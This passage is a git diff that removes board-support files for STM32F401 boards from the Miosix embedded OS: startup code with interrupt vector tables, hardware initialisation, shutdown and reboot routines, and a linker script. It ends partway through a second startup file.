index 9c2b18f89..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/core/stage_1_boot.cpp +++ /dev/null @@ -1,331 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f411 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) DMA2_Stream2_IRQHandler(); -void __attribute__((weak)) DMA2_Stream3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream4_IRQHandler(); -void __attribute__((weak)) OTG_FS_IRQHandler(); -void __attribute__((weak)) DMA2_Stream5_IRQHandler(); -void __attribute__((weak)) DMA2_Stream6_IRQHandler(); -void __attribute__((weak)) DMA2_Stream7_IRQHandler(); -void __attribute__((weak)) USART6_IRQHandler(); -void __attribute__((weak)) I2C3_EV_IRQHandler(); -void __attribute__((weak)) I2C3_ER_IRQHandler(); -void __attribute__((weak)) FPU_IRQHandler(); -void __attribute__((weak)) SPI4_IRQHandler(); - -//Stack top, defined in the linker script -extern char _main_stack_top asm("_main_stack_top"); - -//Interrupt vectors, must be placed @ address 0x00000000 -//The extern declaration is required otherwise g++ optimizes it out -extern void (* const __Vectors[])(); -void (* const __Vectors[])() __attribute__ ((section(".isr_vector"))) = -{ - reinterpret_cast(&_main_stack_top),/* Stack pointer*/ - Reset_Handler, /* Reset Handler */ - NMI_Handler, /* NMI Handler */ - HardFault_Handler, /* Hard Fault Handler */ - MemManage_Handler, /* MPU Fault Handler */ - BusFault_Handler, /* Bus Fault Handler */ - UsageFault_Handler, /* Usage Fault Handler */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - 0, /* Reserved */ - SVC_Handler, /* SVCall Handler */ - DebugMon_Handler, /* Debug Monitor Handler */ - 0, /* Reserved */ - PendSV_Handler, /* PendSV Handler */ - SysTick_Handler, /* SysTick Handler */ - - /* External Interrupts */ - WWDG_IRQHandler, - PVD_IRQHandler, - TAMP_STAMP_IRQHandler, - RTC_WKUP_IRQHandler, - FLASH_IRQHandler, - RCC_IRQHandler, - EXTI0_IRQHandler, - EXTI1_IRQHandler, - EXTI2_IRQHandler, - EXTI3_IRQHandler, - EXTI4_IRQHandler, - DMA1_Stream0_IRQHandler, - DMA1_Stream1_IRQHandler, - DMA1_Stream2_IRQHandler, - DMA1_Stream3_IRQHandler, - DMA1_Stream4_IRQHandler, - DMA1_Stream5_IRQHandler, - DMA1_Stream6_IRQHandler, - ADC_IRQHandler, - 0, - 0, - 0, - 0, - EXTI9_5_IRQHandler, - TIM1_BRK_TIM9_IRQHandler, - TIM1_UP_TIM10_IRQHandler, - TIM1_TRG_COM_TIM11_IRQHandler, - TIM1_CC_IRQHandler, - TIM2_IRQHandler, - TIM3_IRQHandler, - TIM4_IRQHandler, - I2C1_EV_IRQHandler, - I2C1_ER_IRQHandler, - I2C2_EV_IRQHandler, - I2C2_ER_IRQHandler, - SPI1_IRQHandler, - SPI2_IRQHandler, - USART1_IRQHandler, - USART2_IRQHandler, - 0, - EXTI15_10_IRQHandler, - RTC_Alarm_IRQHandler, - OTG_FS_WKUP_IRQHandler, - 0, - 0, - 0, - 0, - DMA1_Stream7_IRQHandler, - 0, - SDIO_IRQHandler, - TIM5_IRQHandler, - SPI3_IRQHandler, - 0, - 0, - 0, - 0, - DMA2_Stream0_IRQHandler, - DMA2_Stream1_IRQHandler, - DMA2_Stream2_IRQHandler, - DMA2_Stream3_IRQHandler, - DMA2_Stream4_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - OTG_FS_IRQHandler, - DMA2_Stream5_IRQHandler, - DMA2_Stream6_IRQHandler, - DMA2_Stream7_IRQHandler, - USART6_IRQHandler, - I2C3_EV_IRQHandler, - I2C3_ER_IRQHandler, - 0, - 0, - 0, - 0, - 0, - 0, - 0, - FPU_IRQHandler, - 0, - 0, - SPI4_IRQHandler, -}; - -#pragma weak SysTick_IRQHandler = Default_Handler -#pragma weak WWDG_IRQHandler = Default_Handler -#pragma weak PVD_IRQHandler = Default_Handler -#pragma weak TAMP_STAMP_IRQHandler = Default_Handler -#pragma weak RTC_WKUP_IRQHandler = Default_Handler -#pragma weak FLASH_IRQHandler = Default_Handler -#pragma weak RCC_IRQHandler = Default_Handler -#pragma weak EXTI0_IRQHandler = Default_Handler -#pragma weak EXTI1_IRQHandler = Default_Handler -#pragma weak EXTI2_IRQHandler = Default_Handler -#pragma weak EXTI3_IRQHandler = Default_Handler -#pragma weak EXTI4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream0_IRQHandler = Default_Handler -#pragma weak DMA1_Stream1_IRQHandler = Default_Handler -#pragma weak DMA1_Stream2_IRQHandler = Default_Handler -#pragma weak DMA1_Stream3_IRQHandler = Default_Handler -#pragma weak DMA1_Stream4_IRQHandler = Default_Handler -#pragma weak DMA1_Stream5_IRQHandler = Default_Handler -#pragma weak DMA1_Stream6_IRQHandler = Default_Handler -#pragma weak ADC_IRQHandler = Default_Handler -#pragma weak EXTI9_5_IRQHandler = Default_Handler -#pragma weak TIM1_BRK_TIM9_IRQHandler = Default_Handler -#pragma weak TIM1_UP_TIM10_IRQHandler = Default_Handler -#pragma weak TIM1_TRG_COM_TIM11_IRQHandler = Default_Handler -#pragma weak TIM1_CC_IRQHandler = Default_Handler -#pragma weak TIM2_IRQHandler = Default_Handler -#pragma weak TIM3_IRQHandler = Default_Handler -#pragma weak TIM4_IRQHandler = Default_Handler -#pragma weak I2C1_EV_IRQHandler = Default_Handler -#pragma weak I2C1_ER_IRQHandler = Default_Handler -#pragma weak I2C2_EV_IRQHandler = Default_Handler -#pragma weak I2C2_ER_IRQHandler = Default_Handler -#pragma weak SPI1_IRQHandler = Default_Handler -#pragma weak SPI2_IRQHandler = Default_Handler -#pragma weak USART1_IRQHandler = Default_Handler -#pragma weak USART2_IRQHandler = Default_Handler -#pragma weak EXTI15_10_IRQHandler = Default_Handler -#pragma weak RTC_Alarm_IRQHandler = Default_Handler -#pragma weak OTG_FS_WKUP_IRQHandler = Default_Handler -#pragma weak DMA1_Stream7_IRQHandler = Default_Handler -#pragma weak SDIO_IRQHandler = Default_Handler -#pragma weak TIM5_IRQHandler = Default_Handler -#pragma weak SPI3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream0_IRQHandler = Default_Handler -#pragma weak DMA2_Stream1_IRQHandler = Default_Handler -#pragma weak DMA2_Stream2_IRQHandler = Default_Handler -#pragma weak DMA2_Stream3_IRQHandler = Default_Handler -#pragma weak DMA2_Stream4_IRQHandler = Default_Handler -#pragma weak OTG_FS_IRQHandler = Default_Handler -#pragma weak DMA2_Stream5_IRQHandler = Default_Handler -#pragma weak DMA2_Stream6_IRQHandler = Default_Handler -#pragma weak DMA2_Stream7_IRQHandler = Default_Handler -#pragma weak USART6_IRQHandler = Default_Handler -#pragma weak I2C3_EV_IRQHandler = Default_Handler -#pragma weak I2C3_ER_IRQHandler = Default_Handler -#pragma weak FPU_IRQHandler = Default_Handler -#pragma weak SPI4_IRQHandler = Default_Handler diff --git a/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/interfaces-impl/arch_registers_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/interfaces-impl/arch_registers_impl.h deleted file mode 100644 index abc5c7c1c..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/interfaces-impl/arch_registers_impl.h +++ /dev/null @@ -1,13 +0,0 @@ - -#ifndef ARCH_REGISTERS_IMPL_H -#define ARCH_REGISTERS_IMPL_H - -//Always include stm32f4xx.h before core_cm4.h, there's some nasty dependency -#define STM32F401xE -#include "CMSIS/Device/ST/STM32F4xx/Include/stm32f4xx.h" -#include "CMSIS/Include/core_cm4.h" -#include "CMSIS/Device/ST/STM32F4xx/Include/system_stm32f4xx.h" - -#define RCC_SYNC() //Workaround for a bug in stm32f42x - -#endif //ARCH_REGISTERS_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/interfaces-impl/bsp.cpp b/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/interfaces-impl/bsp.cpp deleted file mode 100644 index d5ceb6715..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/interfaces-impl/bsp.cpp +++ /dev/null @@ -1,139 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp.cpp Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#include -#include -#include -#include "interfaces/bsp.h" -#include "kernel/kernel.h" -#include "kernel/sync.h" -#include "interfaces/delays.h" -#include "interfaces/portability.h" -#include "interfaces/arch_registers.h" -#include "config/miosix_settings.h" -#include "kernel/logging.h" -#include "filesystem/file_access.h" -#include "filesystem/console/console_device.h" -#include "drivers/serial.h" -#include "drivers/sd_stm32f2_f4_f7.h" -#include "board_settings.h" - -namespace miosix { - -// -// Initialization -// - -void IRQbspInit() -{ - //Enable all gpios - RCC->AHB1ENR |= RCC_AHB1ENR_GPIOAEN | RCC_AHB1ENR_GPIOBEN | - RCC_AHB1ENR_GPIOCEN | RCC_AHB1ENR_GPIODEN | - RCC_AHB1ENR_GPIOEEN | RCC_AHB1ENR_GPIOHEN; - RCC_SYNC(); - GPIOA->OSPEEDR=0xaaaaaaaa; //Default to 50MHz speed for all GPIOS - GPIOB->OSPEEDR=0xaaaaaaaa; - GPIOC->OSPEEDR=0xaaaaaaaa; - GPIOD->OSPEEDR=0xaaaaaaaa; - GPIOE->OSPEEDR=0xaaaaaaaa; - GPIOH->OSPEEDR=0xaaaaaaaa; - _led::mode(Mode::OUTPUT); - ledOn(); - delayMs(100); - ledOff(); - DefaultConsole::instance().IRQset(intrusive_ref_ptr( - new STM32Serial(defaultSerial,defaultSerialSpeed, - defaultSerialFlowctrl ? STM32Serial::RTSCTS : STM32Serial::NOFLOWCTRL))); -} - -void bspInit2() -{ - #ifdef WITH_FILESYSTEM - basicFilesystemSetup(SDIODriver::instance()); - #endif //WITH_FILESYSTEM -} - -// -// Shutdown and reboot -// - -/** -This function disables filesystem (if enabled), serial port (if enabled) and -puts the processor in deep sleep mode.
-Wakeup occurs when PA.0 goes high, but instead of sleep(), a new boot happens. -
This function does not return.
-WARNING: close all files before using this function, since it unmounts the -filesystem.
-When in shutdown mode, power consumption of the miosix board is reduced to ~ -5uA??, however, true power consumption depends on what is connected to the GPIO -pins. The user is responsible to put the devices connected to the GPIO pin in the -minimal power consumption mode before calling shutdown(). Please note that to -minimize power consumption all unused GPIO must not be left floating. -*/ -void shutdown() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - - /* - Removed because low power mode causes issues with SWD programming - RCC->APB1ENR |= RCC_APB1ENR_PWREN; //Fuckin' clock gating... - RCC_SYNC(); - PWR->CR |= PWR_CR_PDDS; //Select standby mode - PWR->CR |= PWR_CR_CWUF; - PWR->CSR |= PWR_CSR_EWUP; //Enable PA.0 as wakeup source - - SCB->SCR |= SCB_SCR_SLEEPDEEP; - __WFE(); - NVIC_SystemReset(); - */ - for(;;) ; -} - -void reboot() -{ - ioctl(STDOUT_FILENO,IOCTL_SYNC,0); - - #ifdef WITH_FILESYSTEM - FilesystemManager::instance().umountAll(); - #endif //WITH_FILESYSTEM - - disableInterrupts(); - miosix_private::IRQsystemReboot(); -} - -} //namespace miosix diff --git a/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/interfaces-impl/bsp_impl.h b/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/interfaces-impl/bsp_impl.h deleted file mode 100644 index ecf7eac2c..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/interfaces-impl/bsp_impl.h +++ /dev/null @@ -1,80 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2015 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -/*********************************************************************** -* bsp_impl.h Part of the Miosix Embedded OS. -* Board support package, this file initializes hardware. -************************************************************************/ - -#ifndef BSP_IMPL_H -#define BSP_IMPL_H - -#include "config/miosix_settings.h" -#include "interfaces/gpio.h" - -namespace miosix { - -/** -\addtogroup Hardware -\{ -*/ - -/** - * \internal - * used by the ledOn() and ledOff() implementation - */ -typedef Gpio _led; - -inline void ledOn() -{ - _led::high(); -} - -inline void ledOff() -{ - _led::low(); -} - -/** - * Polls the SD card sense GPIO. - * - * This board has no SD card whatsoever, but a card can be connected to the - * following GPIOs: - * TODO: never tested - * - * \return true. As there's no SD card sense switch, let's pretend that - * the card is present. - */ -inline bool sdCardSense() { return true; } - -/** -\} -*/ - -} //namespace miosix - -#endif //BSP_IMPL_H diff --git a/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/stm32_512k+96k_rom.ld b/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/stm32_512k+96k_rom.ld deleted file mode 100644 index 4849ba38e..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f401re_nucleo/stm32_512k+96k_rom.ld +++ /dev/null @@ -1,170 +0,0 @@ -/* - * C++ enabled linker script for stm32 (512K FLASH, 128K RAM) - * Developed by TFT: Terraneo Federico Technologies - * Optimized for use with the Miosix kernel - */ - -/* - * This linker script puts: - * - read only data and code (.text, .rodata, .eh_*) in flash - * - stacks, heap and sections .data and .bss in the internal ram - * - the external ram (if available) is not used. - */ - -/* - * The main stack is used for interrupt handling by the kernel. - * - * *** Readme *** - * This linker script places the main stack (used by the kernel for interrupts) - * at the bottom of the ram, instead of the top. This is done for two reasons: - * - * - as an optimization for microcontrollers with little ram memory. In fact - * the implementation of malloc from newlib requests memory to the OS in 4KB - * block (except the first block that can be smaller). This is probably done - * for compatibility with OSes with an MMU and paged memory. To see why this - * is bad, consider a microcontroller with 8KB of ram: when malloc finishes - * up the first 4KB it will call _sbrk_r asking for a 4KB block, but this will - * fail because the top part of the ram is used by the main stack. As a - * result, the top part of the memory will not be used by malloc, even if - * available (and it is nearly *half* the ram on an 8KB mcu). By placing the - * main stack at the bottom of the ram, the upper 4KB block will be entirely - * free and available as heap space. - * - * - In case of main stack overflow the cpu will fault because access to memory - * before the beginning of the ram faults. Instead with the default stack - * placement the main stack will silently collide with the heap. - * Note: if increasing the main stack size also increase the ORIGIN value in - * the MEMORY definitions below accordingly. - */ -_main_stack_size = 0x00000200; /* main stack = 512Bytes */ -_main_stack_top = 0x20000000 + _main_stack_size; -ASSERT(_main_stack_size % 8 == 0, "MAIN stack size error"); - -/* end of the heap on 96KB microcontrollers */ -_heap_end = 0x20018000; /* end of available ram */ - -/* identify the Entry Point */ -ENTRY(_Z13Reset_Handlerv) - -/* specify the memory areas */ -MEMORY -{ - flash(rx) : ORIGIN = 0x08000000, LENGTH = 512K - - /* - * Note, the ram starts at 0x20000000 but it is necessary to add the size - * of the main stack, so it is 0x20000200. - */ - ram(wx) : ORIGIN = 0x20000200, LENGTH = 96K-0x200 -} - -/* now define the output sections */ -SECTIONS -{ - . = 0; - - /* .text section: code goes to flash */ - .text : - { - /* Startup code must go at address 0 */ - KEEP(*(.isr_vector)) - - *(.text) - *(.text.*) - *(.gnu.linkonce.t.*) - /* these sections for thumb interwork? */ - *(.glue_7) - *(.glue_7t) - /* these sections for C++? */ - *(.gcc_except_table) - *(.gcc_except_table.*) - *(.ARM.extab*) - *(.gnu.linkonce.armextab.*) - - . = ALIGN(4); - /* .rodata: constant data */ - *(.rodata) - *(.rodata.*) - *(.gnu.linkonce.r.*) - - /* C++ Static constructors/destructors (eabi) */ - . = ALIGN(4); - KEEP(*(.init)) - - . = ALIGN(4); - __miosix_init_array_start = .; - KEEP (*(SORT(.miosix_init_array.*))) - KEEP (*(.miosix_init_array)) - __miosix_init_array_end = .; - - . = ALIGN(4); - __preinit_array_start = .; - KEEP (*(.preinit_array)) - __preinit_array_end = .; - - . = ALIGN(4); - __init_array_start = .; - KEEP (*(SORT(.init_array.*))) - KEEP (*(.init_array)) - __init_array_end = .; - - . = ALIGN(4); - KEEP(*(.fini)) - - . = ALIGN(4); - __fini_array_start = .; - KEEP (*(.fini_array)) - KEEP (*(SORT(.fini_array.*))) - __fini_array_end = .; - - /* C++ Static constructors/destructors (elf) */ - . = ALIGN(4); - _ctor_start = .; - KEEP (*crtbegin.o(.ctors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .ctors)) - KEEP (*(SORT(.ctors.*))) - KEEP (*crtend.o(.ctors)) - _ctor_end = .; - - . = ALIGN(4); - KEEP (*crtbegin.o(.dtors)) - KEEP (*(EXCLUDE_FILE (*crtend.o) .dtors)) - KEEP (*(SORT(.dtors.*))) - KEEP (*crtend.o(.dtors)) - } > flash - - /* .ARM.exidx is sorted, so has to go in its own output section. */ - __exidx_start = .; - .ARM.exidx : - { - *(.ARM.exidx* .gnu.linkonce.armexidx.*) - } > flash - __exidx_end = .; - - /* .data section: global variables go to ram, but also store a copy to - flash to initialize them */ - .data : ALIGN(8) - { - _data = .; - *(.data) - *(.data.*) - *(.gnu.linkonce.d.*) - . = ALIGN(8); - _edata = .; - } > ram AT > flash - _etext = LOADADDR(.data); - - /* .bss section: uninitialized global variables go to ram */ - _bss_start = .; - .bss : - { - *(.bss) - *(.bss.*) - *(.gnu.linkonce.b.*) - . = ALIGN(8); - } > ram - _bss_end = .; - - _end = .; - PROVIDE(end = .); -} diff --git a/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/core/stage_1_boot.cpp b/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/core/stage_1_boot.cpp deleted file mode 100644 index e357cb5e8..000000000 --- a/miosix/arch/cortexM4_stm32f4/stm32f401vc_stm32f4discovery/core/stage_1_boot.cpp +++ /dev/null @@ -1,331 +0,0 @@ - -#include "interfaces/arch_registers.h" -#include "core/interrupts.h" //For the unexpected interrupt call -#include "kernel/stage_2_boot.h" -#include - -/* - * startup.cpp - * STM32 C++ startup. - * NOTE: for stm32f4 devices ONLY. - * Supports interrupt handlers in C++ without extern "C" - * Developed by Terraneo Federico, based on ST startup code. - * Additionally modified to boot Miosix. - */ - -/** - * Called by Reset_Handler, performs initialization and calls main. - * Never returns. - */ -void program_startup() __attribute__((noreturn)); -void program_startup() -{ - //Cortex M3 core appears to get out of reset with interrupts already enabled - __disable_irq(); - - //SystemInit() is called *before* initializing .data and zeroing .bss - //Despite all startup files provided by ST do the opposite, there are three - //good reasons to do so: - //First, the CMSIS specifications say that SystemInit() must not access - //global variables, so it is actually possible to call it before - //Second, when running Miosix with the xram linker scripts .data and .bss - //are placed in the external RAM, so we *must* call SystemInit(), which - //enables xram, before touching .data and .bss - //Third, this is a performance improvement since the loops that initialize - //.data and zeros .bss now run with the CPU at full speed instead of 8MHz - SystemInit(); - - //These are defined in the linker script - extern unsigned char _etext asm("_etext"); - extern unsigned char _data asm("_data"); - extern unsigned char _edata asm("_edata"); - extern unsigned char _bss_start asm("_bss_start"); - extern unsigned char _bss_end asm("_bss_end"); - - //Initialize .data section, clear .bss section - unsigned char *etext=&_etext; - unsigned char *data=&_data; - unsigned char *edata=&_edata; - unsigned char *bss_start=&_bss_start; - unsigned char *bss_end=&_bss_end; - memcpy(data, etext, edata-data); - memset(bss_start, 0, bss_end-bss_start); - - //Move on to stage 2 - _init(); - - //If main returns, reboot - NVIC_SystemReset(); - for(;;) ; -} - -/** - * Reset handler, called by hardware immediately after reset - */ -void Reset_Handler() __attribute__((__interrupt__, noreturn)); -void Reset_Handler() -{ - /* - * Initialize process stack and switch to it. - * This is required for booting Miosix, a small portion of the top of the - * heap area will be used as stack until the first thread starts. After, - * this stack will be abandoned and the process stack will point to the - * current thread's stack. - */ - asm volatile("ldr r0, =_heap_end \n\t" - "msr psp, r0 \n\t" - "movw r0, #2 \n\n" //Privileged, process stack - "msr control, r0 \n\t" - "isb \n\t":::"r0"); - - program_startup(); -} - -/** - * All unused interrupts call this function. - */ -extern "C" void Default_Handler() -{ - unexpectedInterrupt(); -} - -//System handlers -void /*__attribute__((weak))*/ Reset_Handler(); //These interrupts are not -void /*__attribute__((weak))*/ NMI_Handler(); //weak because they are -void /*__attribute__((weak))*/ HardFault_Handler(); //surely defined by Miosix -void /*__attribute__((weak))*/ MemManage_Handler(); -void /*__attribute__((weak))*/ BusFault_Handler(); -void /*__attribute__((weak))*/ UsageFault_Handler(); -void /*__attribute__((weak))*/ SVC_Handler(); -void /*__attribute__((weak))*/ DebugMon_Handler(); -void /*__attribute__((weak))*/ PendSV_Handler(); -void __attribute__((weak)) SysTick_Handler(); - -//Interrupt handlers -void __attribute__((weak)) WWDG_IRQHandler(); -void __attribute__((weak)) PVD_IRQHandler(); -void __attribute__((weak)) TAMP_STAMP_IRQHandler(); -void __attribute__((weak)) RTC_WKUP_IRQHandler(); -void __attribute__((weak)) FLASH_IRQHandler(); -void __attribute__((weak)) RCC_IRQHandler(); -void __attribute__((weak)) EXTI0_IRQHandler(); -void __attribute__((weak)) EXTI1_IRQHandler(); -void __attribute__((weak)) EXTI2_IRQHandler(); -void __attribute__((weak)) EXTI3_IRQHandler(); -void __attribute__((weak)) EXTI4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream0_IRQHandler(); -void __attribute__((weak)) DMA1_Stream1_IRQHandler(); -void __attribute__((weak)) DMA1_Stream2_IRQHandler(); -void __attribute__((weak)) DMA1_Stream3_IRQHandler(); -void __attribute__((weak)) DMA1_Stream4_IRQHandler(); -void __attribute__((weak)) DMA1_Stream5_IRQHandler(); -void __attribute__((weak)) DMA1_Stream6_IRQHandler(); -void __attribute__((weak)) ADC_IRQHandler(); -void __attribute__((weak)) EXTI9_5_IRQHandler(); -void __attribute__((weak)) TIM1_BRK_TIM9_IRQHandler(); -void __attribute__((weak)) TIM1_UP_TIM10_IRQHandler(); -void __attribute__((weak)) TIM1_TRG_COM_TIM11_IRQHandler(); -void __attribute__((weak)) TIM1_CC_IRQHandler(); -void __attribute__((weak)) TIM2_IRQHandler(); -void __attribute__((weak)) TIM3_IRQHandler(); -void __attribute__((weak)) TIM4_IRQHandler(); -void __attribute__((weak)) I2C1_EV_IRQHandler(); -void __attribute__((weak)) I2C1_ER_IRQHandler(); -void __attribute__((weak)) I2C2_EV_IRQHandler(); -void __attribute__((weak)) I2C2_ER_IRQHandler(); -void __attribute__((weak)) SPI1_IRQHandler(); -void __attribute__((weak)) SPI2_IRQHandler(); -void __attribute__((weak)) USART1_IRQHandler(); -void __attribute__((weak)) USART2_IRQHandler(); -void __attribute__((weak)) EXTI15_10_IRQHandler(); -void __attribute__((weak)) RTC_Alarm_IRQHandler(); -void __attribute__((weak)) OTG_FS_WKUP_IRQHandler(); -void __attribute__((weak)) DMA1_Stream7_IRQHandler(); -void __attribute__((weak)) SDIO_IRQHandler(); -void __attribute__((weak)) TIM5_IRQHandler(); -void __attribute__((weak)) SPI3_IRQHandler(); -void __attribute__((weak)) DMA2_Stream0_IRQHandler(); -void __attribute__((weak)) DMA2_Stream1_IRQHandler(); -void __attribute__((weak)) 